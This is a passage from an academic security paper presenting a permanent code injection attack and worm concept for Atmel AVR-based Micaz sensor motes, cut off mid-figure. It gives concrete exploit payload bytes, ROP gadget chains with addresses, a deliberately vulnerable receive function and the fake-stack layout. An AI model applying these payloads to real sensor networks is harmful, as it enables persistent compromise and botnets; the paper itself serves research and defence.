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ABSTRACT
Harvard architecture CPU design is common in the embed-
ded world. Examples of Harvard-based architecture devices
are the Mica family of wireless sensors. Mica motes have
limited memory and can process only very small packets.
Stack-based buffer overflow techniques that inject code into
the stack and then execute it are therefore not applicable. It
has been a common belief that code injection is impossible
on Harvard architectures. This paper presents a remote code
injection attack for Mica sensors. We show how to exploit
program vulnerabilities to permanently inject any piece of
code into the program memory of an Atmel AVR-based sen-
sor. To our knowledge, this is the first result that presents
a code injection technique for such devices. Previous work
only succeeded in injecting data or performing transient at-
tacks. Injecting permanent code is more powerful since the
attacker can gain full control of the target sensor. We also
show that this attack can be used to inject a worm that can
propagate through the wireless sensor network and possibly
create a sensor botnet. Our attack combines different tech-
niques such as return oriented programming and fake stack
injection. We present implementation details and suggest
some counter-measures.
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1. INTRODUCTION
Worm attacks exploiting memory-related vulnerabilities

are very common on the Internet. They are often used to
create botnets, by compromising and gaining control of a
large number of hosts.

It is widely believed that these types of attacks are diffi-
cult, if not impossible, to perform on Wireless Sensor Net-
works (WSN) that use Mica motes [21, 11]. For example,
Mica sensors use a Harvard architecture, that physically
separates data and program memories. Standard memory-
related attacks [1] that execute code injected in the stack
are therefore impossible.

As opposed to sensor network defense (code attestation,
detection of malware infections, intrusion detection [22, 4])
that has been a very active area of research, there has been
very little research on node-compromising techniques. The
only previous work in this area either focused on Von Neu-
mann architecture-based sensors [10] or only succeeded to
perform transient attacks that can only execute sequences
of instructions already present in the sensor program mem-
ory [12]. Permanent code injection attacks are much more
powerful: an attacker can inject malicious code in order to
take full control of a node, change and/or disclose its security
parameters. As a result, an attacker can hijack a network
or monitor it. As such, they create a real threat, especially
if the attacked WSN is connected to the Internet [20].

This paper presents the design of the first worm for Har-
vard architecture-based WSNs. We show how to inject arbi-
trary malware into a sensor. This malware can be converted
into a worm by including a self-propagating module. Our
attack combines several techniques. Several special packets
are sent to inject a fake stack in the victim’s data memory.
This fake stack is injected using sequences of instructions,
called gadgets [23], already present in the sensor’s program
memory. Once the fake stack is injected another specially-
crafted packet is sent to execute the final gadget chain. This
gadget uses the fake stack and copies the malware (contained
in the fake stack) from data memory to program memory.
Finally, the malware is executed. The malware is injected in
program memory. It is therefore persistent, i.e., it remains
even if the node is reset.

Our attack was implemented and tested on Micaz sen-
sors. We present implementation details and explain how
this type of attacks can be prevented.

The paper is structured as follows: Section 2 introduces
the platform hardware and software. The major difficulties
to overcome are detailed in Section 3. Section 4 presents
the related work. Section 5 gives an overview of the attack,
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whose details are provided in Section 6. Protection measures
are introduced in Section 7. Finally, Section 8 concludes the
paper and presents some future work.

2. ATMEL AVR-BASED SENSOR
ARCHITECTURE OVERVIEW

The platform targeted in this attack is the Micaz motes [7].
It is one of the most common platform for WSNs. Micaz is
based on an Atmel AVR Atmega 128 8-bit microcontroller [3]
clocked at a frequency of 8MHz and an IEEE 802.15.4 [15]
compatible radio.

2.1 The AVR architecture
The Atmel Atmega 128 [3] is a Harvard architecture mi-

crocontroller. In such microcontrollers, program and data
memories are physically separated. The CPU can load in-
structions only from program memory and can only write
in data memory. Furthermore, the program counter can
only access program memory. As a result, data memory can
not be executed. A true Harvard architecture completely
prevents remote modification of program memory. Modifi-
cation requires physical access to the memory. As this is
impractical, true Harvard-based microcontrollers are rarely
used in practice. Most of Harvard-based microcontrollers
are actually using a modified Harvard architecture. In such
architecture, the program can be modified under some par-
ticular circumstances.

For example, the AVR assembly language has dedicated
instructions ( “Load from Program Memory” (LPM) and
“Store to Program Memory” (SPM) ) to copy bytes from/to
program memory to/from data memory. These instructions
are only operational from the bootloader code section (see
Section 2.3). They are used to load initialisation values from
program memory to data section, and to store large static ar-
rays (such as key material or precomputed table) in program
memory, without wasting precious SRAM memory. Further-
more, as shown in Section 2.3, the SPM instruction is used to
remotely configure the Micaz node with a new application.

2.2 The memories
As shown on Figure 1(a), the Atmega 128 microcontroller

has three internal memories, one external memory, and a
flash chip, on the Micaz board.

• The internal flash (or program memory), is where pro-
gram instructions are stored. The microprocessor can
only execute code from this area. As most instruc-
tions are two bytes or four bytes long, program mem-
ory is addressed as two-byte words, i.e., 128 KBytes of
program memory are addressable. The internal flash
memory is usually split into two main sections: ap-
plication and bootloader sections. This flash memory
can be programmed either by a physical connection
to the microcontroller or by self-reprogramming. Self-
reprogramming is only possible from the bootloader
section. Further details on the bootloader and self-
reprogramming can be found in Section 2.3.

• Data memory address space is addressable with regu-
lar instructions. It is used for different purposes. As
illustrated in Figure 1(b), it contains the registers, the
Input Output area, where peripherals and control reg-
isters are mapped, and 4 KBytes of physical SRAM.

Since the microcontroller does not use any Memory
Management Unit (MMU), no address verification is
performed before a memory access. As a result, the
whole data address space (including registers and I/O)
are directly addressable.

• The EEPROM memory is mapped to its own address
space and can be accessed via the dedicated IO regis-
ters. It therefore can not be used as a regular memory.
Since this memory area is not erased during repro-
gramming or power cycling of the CPU, it is mostly
used for permanent configuration data.

• The Micaz platform has an external flash memory which
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is used for persistent data storage. This memory is ac-
cessed as an external device from a serial bus. It is not
accessible as a regular memory and is typically used to
store sensed data or program images.

2.3 The bootloader
A sensor node is typically configured with a monolithic

piece of code before deployment. This code implements the
actions that the sensor is required to perform (for example,
collecting and aggregating data). However, there are many
situations where this code needs to be updated or changed
after deployment. For example, a node can have several
modes of operation and switch from one to another. The size
of program memory being limited, it is often impossible to
store all program images in program memory. Furthermore,
if a software bug or vulnerability is found, a code update is
required. If a node cannot be reprogrammed, it becomes un-
usable. Since it is highly impractical (and often impossible)
to collect all deployed nodes and physically reprogram them,
a code update mechanism is provided by most applications.
We argue that such a mechanism is a strong requirement
for the reliably and survivability of a large WSN. On an
Atmega128 node, the reprogramming task is performed by
the bootloader, which is a piece of code that, upon a remote
request, can change the program image being ran on a node.

External flash memory is often used to store several pro-
gram images. When the application is solicited to reprogram
a node with a given image, it configures the EEPROM with
the image identifier and reboots the sensor. The bootloader
then copies the requested image from external flash mem-
ory to program memory. The node then boots on the new
program image.

On a Micaz node, the bootloader copies the selected im-
age from external flash memory to the RAM memory in 256-
byte pages. It then copies these pages to program memory
using the dedicated SPM instruction. Note that only the
bootloader can use the SPM instruction to copy pages to
program memory. Different images can be configured stat-
ically, i.e., before deployment, to store several program im-
ages. Alternatively, these images can be uploaded remotely
using a code update protocol such as TinyOS’s Deluge [14].

In the rest of this paper, we assume that each node is
configured with a bootloader. We argue that this is a very
realistic assumption since, as discussed previously, a wireless
sensor network without self-reprogramming capability would
have limited value. We do not require the presence of any
remote code update protocols, such as Deluge. However,
if such a protocol is available, we assume that it is secure,
i.e., the updated images are authenticated [9, 17, 18, 19].
Otherwise, the code update mechanism could be trivially
exploited by an attacker to perform code injection.

3. ON THE DIFFICULTY OF EXPLOITING
A SENSOR NODE

Traditional buffer overflow attacks usually rely on the fact
that the attacker is able to inject a piece of code into the
stack and execute it. This exploit can, for example, result
from a program vulnerability.

In the Von Neumann architecture, a program can access
both code (TEXT) and data sections (data, BSS or Stack).
Furthermore, instructions injected into data memory (such
as stack) can be executed. As a result, an attacker can

exploit buffer overflow to execute malicious code injected by
a specially-crafted packet.

In Mica-family sensors, code and data memories are phys-
ically separated. The program counter cannot point to an
address in the data memory. The previously presented in-
jection attacks are therefore impossible to perform on this
type of sensor [21, 11].

Furthermore, sensors have other characteristics that limit
the capabilities of an attacker. For example, packets pro-
cessed by a sensor are usually very small. For example
TinyOS limits the size of packet’s payload to 28 bytes. It
is therefore difficult to inject a useful piece of code with a
single packet. Finally, a sensor has very limited memory.
The application code is therefore often size-optimized and
has limited functionality. Functions are very often inlined.
This makes “return-into-libc” attacks [25] very difficult to
perform.

Because of all these characteristics, remote exploitation of
sensors is very challenging.

4. RELATED WORK

4.1 From “return-into-libc” attack to gadgets
In order to prevent buffer overflow exploitation in general

purpose computers, memory protection mechanisms, known
as the no-execute bit (NX-Bit) or Write-Xor-Execute(W ⊗

E) [2, 8, 27, 21] have been proposed. These techniques en-
force memory to be either writable or executable. Trying
to execute instructions in a page marked as non executable
generates a segmentation fault. The main goal of these tech-
niques is to prevent execution of code in the stack or more
generally in data memory. The resulting protection is simi-
lar to what is provided by Harvard architectures.

Several techniques have been developed to bypass these
protection mechanisms. The first published technique was
the “return-into-libc” attack [25] where the attacker does
not inject code to the stack anymore but instead executes a
function of the libc. The “return-into-libc” attack has been
extended into different variants. [23] generalizes this tech-
nique and shows that it is possible to attack systems which
are running under W ⊗E like environments by executing se-
quences of instructions terminated by a “ret”. These groups
of instructions are called Gadgets. Gadgets are performing
actions useful to the attacker (i.e., pop a value in stack to a
register) and possibly returning to another gadget.

4.2 Exploitation of sensor nodes

Stack execution on Von Neumann architecture sensors.

[10, 11] show how to overcome the packet size limitation.
The author describes how to abuse string format vulnerabil-
ities or buffer overflows on the MSP430 based Telosb motes
in order to execute malicious code uploaded into data mem-
ory. He demonstrates that it is possible to inject malicious
code byte-by-byte in order to load arbitrary long bytecode.
As Telosb motes are based on the MSP430 microcontroller
(a Von Neumann architecture), it is possible to execute ma-
licious data injected into memory. However, as discussed in
Section 2.1, this attack is impossible on Harvard architec-
ture motes, such as the Micaz. Countermeasures proposed
in [11] include hardware modifications to the MSP430 micro-
controller and using Harvard architecture microcontrollers.



The hardware modification would provide the ability to con-
figure memory regions as non executable. In our work, we
show by a practical example that, although this solution
complicates the attack, it does not make it impossible.

Mal-Packets.
[12] shows how to modify the execution flow of a TinyOS

application running on a Mica2 sensor (a Micaz with a differ-
ent radio device) to perform a transient attack. This attack
exploits buffer overflow in order to execute gadgets, i.e., in-
structions that are present on the sensor. These instructions
perform some actions (such as possibly modifying some of
the sensor data) and then propagate the injected packet to
the node’s neighbors.

While this attack is interesting, it has several limitations.
First, it is limited to one packet. Since packets are very
small, the possible set of actions is very limited. Second,
actions are limited to sequences of instructions present in
the sensor memory. Third, the attack is transient. Once the
packet is processed, the attack terminates. Furthermore, the
action of the attack disappears if the node is reset.

In contrast, our attack allows injection of any malicious
code. It is therefore much more flexible and powerful. Note
that our scheme also makes use of gadgets. However, gadgets
are used to implement the function that copies injected code
from data memory to program memory. It is not used, as
in the Mal-Packets scheme, to execute the actual malicious
actions. Therefore, our requirement (in terms of instruc-
tions present in the attacked node) is much less stringent.
Furthermore, in our scheme, the injected code is persistent.

5. ATTACK OVERVIEW
This section describes the code injection attack. We first

describe our system assumptions and present the concept
of a meta-gadget, a key component of our attack. We then
provide an overview of the proposed attack. Implementation
details are presented in the next section.

5.1 System assumptions
Throughout this paper, we make the following assump-

tions:

• The WSN under attack is composed of Micaz nodes [7].

• All nodes are identical and run the same code.

• The attacker knows the program memory content 1.

• Each node is running the same version of TinyOS and
no changes were performed in the OS libraries.

• Each node is configured with a bootloader.

• Running code has at least one exploitable buffer over-
flow vulnerability.

5.2 Meta-gadgets
As discussed in Section 3, it is very difficult for a remote

attacker to directly inject a piece of code on a Harvard-based
sensor. However, as described in [23], an attacker can exploit
a program vulnerability to execute a gadget, i.e. a sequence
of instructions already in program memory that terminates

1It has, for example, captured a node and analysed its binary
code.

with a ret. Provided that it injects the right parameters
into the stack, this attack can be quite harmful. The set of
instructions that an attacker can execute is limited to the
gadgets present in program memory. In order to execute
more elaborate actions, an attacker can chain several gadgets
to create what we refer to as meta-gadget in the rest of this
paper.

In [23], the authors show that, on a regular computer, an
attacker controlling the stack can chain gadgets to undertake
any arbitrary computation. This is the foundation of what
is called return-oriented programming. On a sensor, the ap-
plication program is much smaller and is usually limited to
a few kilobytes. It is therefore questionable whether this
result holds. However, our attack does not require a Turing
complete set of gadgets. In fact, as shown in the rest of this
section, we do not directly use this technique to execute ma-
licious code as in [23]. Instead, we use meta-gadgets to inject

event message t∗
Receive.receive(message t∗ bufPtr, void∗ payload,

uint8 t len){
// BUFF LEN is defined somewhere else as 4
uint8 t tmp buff[BUFF LEN];
rcm = (radio count msg t∗)payload;

// copy the content in a buffer for further processing
for (i=0;i<rcm−>buff len; i++){

tmp buff[i]=rcm−>buff[i]; // vulnerability
}
return bufPtr;

}

(a) Sample buffer management vulnerability.

uint8 t payload[ ]={
0x00,0x01,0x02,0x03, // padding
0x58,0x2b, // Address of gadget 1
ADDR L,ADDR H, // address to write
0x00, // Padding
DATA, // data to write
0x00,0x00,0x00, // padding
0x85,0x01, // address of gadget 2
0x3a,0x07, // address of gadget 3
0x00,0x00 // Soft reboot address
};

(b) Payload of the injection packet.

Memory Usage normal value after
address value overflow

0x10FF End Mem
...

...
...

...
0x1062 other 0xXX ADDRH

0x1061 other 0xXX ADDRL

0x1060 @retH 0x38 0x2b
0x105F @retL 0x22 0x58
0x105E tmpbuff[3] 0 0x03
0x105D tmpbuff[2] 0 0x02
0x105C tmpbuff[1] 0 0x01
0x105B tmpbuff[0] 0 0x00

(c) Buffer overflow with a packet containing the bytes
shown in Figure 2(b).

Figure 2: Vulnerability exploitation.



malicious code into the sensor. The malicious code, once in-
jected, is then executed as a “regular” program. Therefore,
as shown below, the requirement on the present code is less
stringent. Only a limited set of gadgets is necessary.

5.3 Incremental attack description
The ultimate goal of our attack is to remotely inject a

piece of (malicious) code into a sensor’s flash memory. We
first describe the attack by assuming that the attacker can
send very large packets. We then explain how this injection
can be performed with very small packets. This section pro-
vides a high-level description. The details are presented in
Section 6.

5.3.1 Injecting code into a Harvard-based sensor
without packet size limitation

As discussed previously, most sensors contain bootloader
code used to install a given image into program memory
(see Section 2.3). It uses a function that copies a page from
data memory to program memory. One solution could be
to invoke this function with the appropriate arguments to
copy the injected code into program memory. However, the
bootloader code is deeply inlined. It is therefore impossible
to invoke the desired function alone.

We therefore designed a “Reprogramming” meta-gadget,
composed of a chain of gadgets. Each gadget uses a sequence
of instructions from bootloader code and several variables
that are popped from the stack. To become operational,
this meta-gadget must be used together with a specially-
crafted stack, referred to as the fake stack in the rest of this
section. This fake stack contains the gadget variables (such
as ADDRM ; the address in the program memory where to
copy the code), addresses of gadgets and code to be injected
into the node. Details of this meta-gadget and the required
stack are provided later in Section 6.

5.3.2 Injecting code into a Harvard-based sensor with
small packets

The attack assumes that the adversary can inject arbitrar-
ily large data into the sensor data memory. However, since
the maximum packet size is 28 bytes, the previous attack
is impractical. To overcome this limitation, we inject the
fake stack into the unused part of data memory (see Fig-
ure 1(b)) byte-by-byte and then invoke the Reprogramming

meta-gadget, described in the previous section, to copy the
malware in program memory.

In order to achieve this goal, we designed an “Injection”
meta-gadget that injects one byte from the stack to a given
address in data memory. This Injection meta-gadget is de-
scribed in Section 6.3.

The overview of the attack is as follows:

1. The attacker builds the fake stack containing the ma-
licious code to be injected into data memory.

2. It then sends to the node a specially-crafted packet
that overwrites the return address saved on the stack
with the address of the Injection meta-gadget. This
meta-gadget copies the first byte of the fake stack (that
was injected into the stack) to a given address A (also
retrieved from the stack) in data memory. The meta-
gadget ends with a ret instruction, which fetches the
return address from the fake stack. This value is set

to 0. As a result, the sensor reboots and returns to a
“clean state”.

3. The attacker then sends a second specially-crafted pa-
cket that injects the second byte of the fake stack at
address A + 1 and reboots the sensor.

4. Steps 2 and 3 are repeated as necessary. After n pack-
ets, where n is the size of the fake stack, the whole
fake stack is injected into the sensor data memory at
address A.

5. The attacker then sends another specially-crafted pa-
cket to invoke the Reprogramming meta-gadget. This
meta-gadget copies the malware (contained into the in-
jected fake stack) into program memory and executes
it, as described in Section 5.3.1.

5.3.3 Memory persistence across reboots
Once a buffer overflow occurs, it is difficult [12], and some-

times impossible, to restore consistent state and program
flow. Inconsistent state can have disastrous effects on the
node. In order to re-establish consistent state, we reboot
the attacked sensor after each attack. We perform a “soft-
ware reboot” by simply returning to the reboot vector (at
address 0x0). During a software reboot, the init functions
inserted by the compiler/libc initializes the variables in data
section. It also initializes the BSS section to zero. All other
memory areas (in SRAM) are not modified. For example,
the whole memory area (marked as“unused”in Figure 1(b)),
which is located above the BSS section and below the max
value of the stack pointer, is unaffected by reboots and the
running application.

This memory zone is therefore the perfect place to inject
hidden data. We use it to store the fake stack byte-by-
byte. This technique of recovering bytes across reboots is
somewhat similar to the attack on disk encryption, presented
in [13], which recovers the data in a laptop’s memory after
a reboot. However, one major difference is that, in our case,
the memory is kept powered and, therefore, no bits are lost.

6. IMPLEMENTATION DETAILS
This section illustrates the injection attack by a simple

example. We assume that the node is running a program
that has a vulnerability in its packet reception routine as
shown in Figure 2(a). The attacker’s goal is to exploit this
vulnerability to inject malicious code.

This section starts by explaining how the vulnerability is
exploited. We then describe the implementation of the In-

jection and Reprogramming meta-gadgets that are needed
for this attack. We detail the structure of the required fake
stack, and how it is injected byte-by-byte into data memory
with the Injection meta-gadget. Finally, we explain how the
Reprogramming meta-gadget uses the fake stack to repro-
gram the sensor with the injected malware.

6.1 Buffer overflow exploitation
The first step is to exploit a vulnerability in order to take

control of the program flow. In our experimental example,
we use standard buffer overflow. We assume that the sensor
is using a packet reception function that has a vulnerabil-
ity (see Figure 2(a)). This function copies into the array
tmp_buff of size BUFF_LEN, rcm->buffer_len bytes of ar-
ray rcm->buff, which is one of the function parameters. If



Vulnerable function

instr
stack/buffer

comments
payload

. . . . . .

ret
GL

o

1st gadget address
GH

Ideal Gadget: pop address, data to registers, stores data
pop r30 AddrL

o

Injection Addr.
pop r31 AddrH

pop r18 Data Byte to inject
st Z,r18 write byte to memory

ret
0x00

reboot
0x00

control flow redirection

(a) Ideal Injection meta-gadget.

Vulnerable function

instr.
instr

stack/buffer
comments

address injected
5e6: . . . . . .

5e7: ret
0x58

o

next gadget
0x2b

Gadget 1: load address and data to registers
2b58: pop r25 AddrL

o

Injection Addr.
2b59: pop r24 AddrH

2b60: pop r19 0
2b61: pop r18 Data Byte to inject
2b62: pop r0 0
2b63: out 0x3f, r0
2b64: pop r0 0
2b65: pop r1 0

2b66: reti
0x85

o

next gadget
0x01

Gadget 2: move address from reg r24:25 to r30:31 ( Z )
185 : movw r30, r24

186: std Z+10, r22

187: ret
0x3a

o

next gadget
0x07

Gadget 3: write data to memory, and reboot
73a: st Z, r18 write byte to

memory

73b: ret
0x00

o

soft reboot
0x00

control flow redirection

control flow redirection

control flow redirection

(b) Real Injection meta-gadget.

Figure 3: Injection meta-gadget.

rcm->buffer_len is set to a value larger than BUFF_LEN, a
buffer overflow occurs 2. This vulnerability can be exploited
to inject data into the stack and execute a gadget as illus-
trated below. During a normal call of the receive function,
the stack layout is displayed in Figure 2(c) and is used as
follows:

• Before the function receive is invoked the stack pointer
is at address 0x1060.

• When the function is invoked the call instruction stores
the address of the following instruction (i.e. the in-

2This hypothetical vulnerability is a quite plausible flaw –
some have been recently found and fixed in TinyOS see [5]

struction following the call instruction) into the stack.
In this example we refer to this address as @ret (@retH

and @retL being respectively the MSB and the LSB
bytes).

• Once the call instruction is executed, the program
counter is set to the beginning of the called function,
i.e., the receive function. This function is then in-
voked. It possibly saves, in its preamble, the registers
on the stack (omitted here for clarity), and allocates
its local variables on the stack, i.e. the 4 bytes of the
tmp_buff array (the stack pointer is decreased by 4).

• The for loop then copies the received bytes in the
tmp_buff buffer that starts at address 0x105B.

• When the function terminates, the function deallocates
its local variables (i.e. increases the stack pointer),
possibly restores the registers with pop instructions,
and executes the ret instruction, which reads the ad-
dress to return to from the top of the stack. If an
attacker sends a packet formatted as shown in Fig-
ure 2(b), the data copy operation overflows the 4-bytes
buffer with 19-bytes. As a result, the return address
is overwritten with the address 0x2b58 and 13 more
bytes (used as parameters by the gadget) are written
into the stack. The ret instruction then fetches the
return address 0x2b58 instead of the original @ret ad-
dress. As a result, the gadget is executed.

6.2 Meta-gadget implementation
This section describes the implementation of the two meta-

gadgets. Note that a meta-gadget’s implementation actually
depends on the code present in a node. Two nodes config-
ured with different code would, very likely, require different
implementations.

Injection meta-gadget.
In order to inject one byte into memory we need to find

a way to perform the operations that would be done by the
“ideal” gadget, described in Figure 3(a). This ideal gadget
would load the address and the value to write from the stack
and would use the ST instruction to perform the memory
write. However, this gadget was not present in the program
memory of our sensor. We therefore needed to chain several
gadgets together to create what we refer to as the Injection

meta-gadget.
We first searched for a short gadget performing the store

operation. We found, in the mote’s code, a gadget, gadget3,
that stores the value of register 18 at the address specified
by register Z (the Z register is a 16 bit register alias for
registers r30 and r31). To achieve our goal, we needed to
pop the byte to inject into register r18 and the injection
address into registers r30 and r31. We did not find any
gadget for this task. We therefore had to split this task
into two gadgets. The first one, gadget1, loads the injection
destination address into registers r24 and r25, and loads the
byte to inject into r18. The second gadget, gadget2, copies
the registers r24, r25 into registers r30, r31 using the “move
word” instruction (movw).

By chaining these three gadgets we implemented the meta-
gadget which injects one byte from the stack to an address
in data memory.



To execute this meta-gadget, the attacker must craft a
packet that, as a result of a buffer overflow, overwrites the
return address with the address of gadget1, and injects into
the stack the injection address, the malicious byte, the ad-
dresses of gadget2 and gadget3, and the value “0” (to reboot
the node). The payload of the injection packet is displayed
in Figure 2(b).

Reprogramming meta-gadget.
As described in Section 5.3.2, the Reprogramming meta-

gadget is required to copy a set of pages from data to pro-

instr.
instr

buffer
comments

address payload

Gadget 1: load future SP value from stack to r28,r29
f93d: pop r29 FSPH

o

Fake SP value
f93e: pop r28 FSPL

f93f: pop r17 0
f940: pop r15 0
f941: pop r14 0

f942: ret
0xa9

o

next gadget
0xfb

Gadget 2: modify SP, prepare registers
fba9 : in r0, 0x3f
fbaa: cli
fbab: out 0x3e, r29

)

Modify SPfbac: out 0x3f, r0
fbad: out 0x3d, r28

now using fake stack
fbae: pop r29 FPH

o

Load FP
fbaf: pop r28 FPL

fbb0: pop r17 A3 )

DESTM

fbb1: pop r16 A2

fbb2: pop r15 A1

fbb3: pop r14 A0

. . . . . . . . .
fbb8: pop r9 I3 )

loop counter
fbb9: pop r8 I2

fbba: pop r7 I1

fbbb: pop r6 I0

. . . . . . . . .

fbc0: ret
0x4d

o

next gadget
0xfb

Gadget 3: reprogramming
fb4d: ldi r24, 0x03
fb4e: movw r30, r14

o

Page write @
fb4f: sts 0x005B, r16
fb51: sts 0x0068, r24

o

Page erase
fb53: spm
. . . . . .
fb7c: spm write bytes to flash
. . . . . .
fb92: spm flash page
. . . . . .
fbc0: ret malware address

Just installed Malware

8000: sbi 0x1a, 2
8002: sbi 0x1a, 1
. . . . . .

control flow redirection

control flow redirection

control flow redirection

Figure 4: Reprogramming meta-gadget. The greyed

area displays the fake stack.

gram memory. Ideally the ProgFlash.write function of the
bootloader, that uses the SPM instruction to copy pages
from the data to the program memory, could be used. How-
ever, this function is inlined within the bootloader code. Its
instructions are mixed with other instructions that, for ex-
ample, load pages from external flash memory, check the
integrity of the pages and so on. As a result, this function
cannot be called independently.

We therefore built a meta-gadget that uses selected gad-
gets belonging to the bootloader. The implementation of
this meta-gadget is partially shown in Figure 4. Due to the
size of each gadget we only display the instructions that are
important for the understanding of the meta-gadget. We
assume in the following description that a fake stack was in-
jected at the address ADDRF SP of data memory and that
the size of the malware to be injected is smaller than one
page. If the malware is larger than one page, this meta-
gadget has to be executed several times.

The details of what this fake stack contains and how it is
injected in the data memory will be covered in Section 6.3.

Our Reprogramming meta-gadget is composed of three
gadgets. The first gadget, gadget1, loads the address of the
fake stack pointer (FSP) in r28 and r29 from the current
stack. It then executes some instructions, that are not use-
ful for our purpose, and calls the second gadget, gadget2.
Gadget2 first sets the stack pointer to the address of the
fake stack. This is achieved by setting the stack pointer (IO
registers 0x3d and 0x3e) with the value of registers r28 and
r29 (previously loaded with the FSP address). From then
on, the fake stack is used. Gadget2 then loads the Frame
Pointer (FP) into r28 and 29, and the destination address of
the malware in program memory, DESTM , into r14, r15, r16
and r17. It then sets registers r6, r7, r8, r9 to zero (in order
to exit a loop in which this code is embedded) and jumps
to the third gadget. Gadget3 is the gadget that performs
the copy of a page from data to program memory. It loads
the destination address, DESTM , into r30, r31 and loads
the registers r14, r15 and r16 into the register located at ad-
dress 0x005B. It then erases one page at address DESTM ,
copies the malware into a hardware temporary buffer, before
flashing it at address DESTM . This gadget finally returns
either to the address of the newly installed malware (and
therefore executes it) or to the address 0 (the sensor then
reboots).

Automating the meta-gadget implementation.
The actual implementation of a given meta-gadget de-

pends on the code that is present in the sensor. For example,
if the source code, the compiler version, or the compiler flags
change, the generated binary might be very different. As a
result, the gadgets might be located in different addresses or

uint8 t payload[ ]={
... //
0x3d, 0xf9 // Address of gadget1
FSP H, FSP L, // Fake Stack Pointer
0x00,0x00,0x00, // padding to r17,r15,r14
0xa9,0xfb // Address of Gadget 2

// once Gadget 2 is executed the fake stack is used
};

Figure 5: Payload of the Reprogramming packet.



application code size (KB) payload len. (B)
TinyPEDS 43.8 19
AntiTheft Node 27 17
MultihopOscilloscope 26.9 17
AntiTheft Root 25.5 17
MViz 25.6 17
BaseStation 13.9 21
RadioCountToLeds 11.2 21
Blink 2.2 21
SharedSourceDemo 3 21
Null 0.6 none

Figure 6: Length of the shortest payload found

by our automated tool to implement the Injection

meta-gadget.

might not be present at all. In order to facilitate the imple-
mentation of meta-gadgets, we built a static binary analyzer
based on the Avrora [28] simulator. It starts by collecting all
the available gadgets present in the binary code. It then uses
various strategies to obtain different chains of gadgets that
implement the desired meta-gadget. The analyzer outputs
the payload corresponding to each implementation.

The quality of a meta-gadget does not depend on the num-
ber of instructions it contains nor on the number of gadgets
used. The most important criteria is the payload size i.e.
the number of bytes that need to be pushed into the stack.
In fact, the larger the payload the lower the chance of being
able to exploit it. There are actually two factors that impact
the success of a gadget chain.

• The depth of the stack: if the memory space between
the beginning of the exploited buffer in the stack and
the end of the physical memory (i.e. address 0x1100) is
smaller than the size of the malicious packet payload,
the injection cannot obviously take place.

• Maximum packet length: since TinyOS maximum pa-
cket length is set, by default, to 28 bytes, it is impos-
sible to inject a payload larger than 28 bytes. Gadgets
that require payload larger than 28 bytes cannot be
invoked.

Figure 6 shows the length of Injection meta-gadget, found
by the automated tool, for different test and demonstration
applications provided by TinyOS 2.0.2. TinyPEDS is an
application developed for the European project Ubisec&Sens
[29].

In our experiments, we used a modified version of the Ra-
dioCountToLeds application 3. Our analyser found three dif-
ferent implementations for the Injection meta-gadget. These
implementations use packets of respective size 17, 21 and 27
bytes. We chose the implementation with the 17-byte pay-
load, which we were able to reduce to 15 bytes with some
manual optimizations.

The Reprogramming meta-gadget depends only on the
bootloader code. It is therefore independent of the appli-
cation loaded in the sensor. The meta-gadget presented in
figure 4 can therefore be used with any application as long
as the same bootloader is used.

3The RadioCountToLeds has been modified in order to in-
troduce a buffer overflow vulnerability.

6.3 Building and injecting the fake stack
As explained in Section 5.3.2, our attack requires to inject

a fake stack into the sensor data memory. We detail the
structure of the fake stack that we used in our example and
explain how it was injected into the data memory.

Building the fake stack.
The fake stack is used by the Reprogramming meta-gadget.

As shown by Figure 4, it must contain, among other things,
the address of the fake frame pointer, the destination address
of the malware in program memory (DESTM ), 4 zeros, and
again the address DESTM (to execute the malware when
the Reprogramming meta-gadget returns). The complete
structure of the fake stack is displayed in Figure 7. The size
of this fake stack is 305 bytes, out of which only 16 bytes
and the malware binary code, of size sizeM , need to be ini-
tialized. In our experiment, our goal was to inject the fake
stack at address 0x400 and flash the malware destination at
address 0x8000.

Injecting the Fake Stack.
Once the fake stack is designed it must be injected at ad-

dress FSP = 0x400 of data memory. The memory area
around this address is unused and not initialized nor modi-
fied when the sensor reboots. It therefore provides a space
where bytes can be stored persistently across reboots.

Since the packet size that a sensor can process is lim-
ited, we needed to inject it byte-by-byte as described in Sec-
tion 5.3.2. The main idea is to split the fake stack into pieces
of one byte and inject each of them independently using the
Injection meta-gadget described in Section 6.2.

Each byte Bi is injected at address FSP +i by sending the
specially-crafted packet displayed in Figure 2(b). When the
packet is received it overwrites the return address with the
address of the Injection meta-gadget (i.e. address 0x56b0 ).
The Injection meta-gadget is then executed and copies byte
Bi into the address FSP +i. When the meta-gadget returns
it reboots the sensor. The whole fake stack is injected by
sending 16 + sizeM packets, where sizeM is the size of the
malware.

6.4 Flashing the malware into program
memory

Once the fake stack is injected in the data memory, the
malware needs to be copied in flash memory. As explained
previously, this can be achieved using the Reprogramming

meta-gadget described in Section 6.2. This reprogramming
task can be triggered by a small specially-crafted packet that
overwrites the saved return address of the function with the
address of the Reprogramming meta-gadget. This packet
also needs to inject into the stack the address of the fake
stack and the address of the Gadget2 of the Reprogramming

meta-gadget. The payload of the reprogramming packet is
shown in Figure 5. At the reception of this packet, the tar-
get sensor executes the Reprogramming meta-gadget. The
malware, that is part of the fake stack, is then flashed into
the sensor program memory. When the meta-gadget termi-
nates it returns to the address of the malware, which is then
executed.

6.5 Finalizing the malware installation
Once the malware is injected in the program memory it

must eventually be executed. If the malware is installed at



address 0 it will be executed at each reboot. However, in
this case, the original application would not work anymore
and the infection would easily be noticeable. This is often
not desirable. If the malware is installed in a free area of
program memory, it can be activated by a buffer overflow
exploit. This option can be used by the attacker to activate

typedef struct {
// To be used by bottom half of gadget 2
// the Frame pointer value 16 bits
uint8 t load r29;
uint8 t load r28;
// 4 bytes loaded with the address in program
// memory encoded as a uint32 t
uint8 t load r17;
uint8 t load r16;
uint8 t load r15;
uint8 t load r14;
// 4 padding values
uint8 t load r13;
uint8 t load r12;
uint8 t load r11;
uint8 t load r10;
// Number of pages to write as a uint32 t
// must be set to 0, in order to exit loop
uint8 t load r9;
uint8 t load r8;
uint8 t load r7;
uint8 t load r6;
// 4 padding bytes
uint8 t load r5;
uint8 t load r4;
uint8 t load r3;
uint8 t load r2;
// address of gadget 3
uint16 t retAddr execFunction;
// bootloader’s fake function frame starts here,
// frame pointer must points here
// 8 padding bytes
uint16 t wordBuf;
uint16 t verify image addr;
uint16 t crcTmp;
uint16 t intAddr;
// buffer to data page to write to memory
uint8 t malware buff[256];
// pointer to malware buff
uint16 t buff p;
// 18 padding bytes
uint8 t r29;
uint8 t r28;
uint8 t r17;
uint8 t r16;
uint8 t r15;
uint8 t r14;
uint8 t r13;
uint8 t r12;
uint8 t r11;
